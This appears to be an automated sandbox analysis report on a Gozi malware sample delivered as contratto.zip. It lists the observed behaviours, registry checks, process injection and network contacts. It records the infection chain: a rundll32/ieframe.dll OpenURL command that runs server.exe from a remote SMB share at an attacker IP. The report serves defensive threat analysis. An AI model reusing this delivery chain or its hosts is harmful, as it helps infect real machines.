Analysis Overview
SHA256
120b092e8d8212a7c0e796ac320dd10c56c8b801aa8fb234cb577d5f0dabc05c
Threat Level: Known bad
The file contratto.zip was found to be: Known bad.
Malicious Activity Summary
Gozi
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: GetForegroundWindowSpam
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-03-08 10:07
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-03-08 10:07
Reported
2023-03-08 10:10
Platform
win7-20230220-en
Max time kernel
129s
Max time network
33s
Command Line
Signatures
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
Processes
C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url
Network
Files
memory/920-54-0x0000000001DF0000-0x0000000001DF1000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-03-08 10:07
Reported
2023-03-08 10:10
Platform
win10v2004-20230221-en
Max time kernel
145s
Max time network
140s
Command Line
Signatures
Gozi
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\rundll32.exe | N/A |
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4064 wrote to memory of 1380 | N/A | C:\Windows\System32\rundll32.exe | \??\UNC\46.8.210.57\Agenzia\server.exe |
| PID 4064 wrote to memory of 1380 | N/A | C:\Windows\System32\rundll32.exe | \??\UNC\46.8.210.57\Agenzia\server.exe |
| PID 4064 wrote to memory of 1380 | N/A | C:\Windows\System32\rundll32.exe | \??\UNC\46.8.210.57\Agenzia\server.exe |
Processes
C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\contratto\contratto.url
\??\UNC\46.8.210.57\Agenzia\server.exe
"\\46.8.210.57\Agenzia\server.exe"
Network
| Country | Destination | Domain | Proto |
| RU | 46.8.210.57:445 | tcp | |
| US | 8.8.8.8:53 | 57.210.8.46.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.45.164.69.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checklist.skype.com | udp |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.45.164.69.in-addr.arpa | udp |
| IE | 20.54.89.15:443 | tcp | |
| US | 8.8.8.8:53 | 177.238.32.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.97.242.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.151.224.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.36.159.162.in-addr.arpa | udp |
| US | 93.184.220.29:80 | tcp | |
| US | 93.184.221.240:80 | tcp | |
| US | 93.184.221.240:80 | tcp | |
| US | 8.8.8.8:53 | 2.8.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.0.4.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa | udp |
| NL | 173.223.113.164:443 | tcp | |
| NL | 173.223.113.131:80 | tcp | |
| US | 204.79.197.203:80 | tcp | |
| RU | 62.173.138.6:80 | tcp |
Files
memory/1380-134-0x00000000006A0000-0x00000000006AB000-memory.dmp
memory/1380-135-0x00000000021E0000-0x00000000021ED000-memory.dmp
memory/1380-138-0x0000000000400000-0x000000000044C000-memory.dmp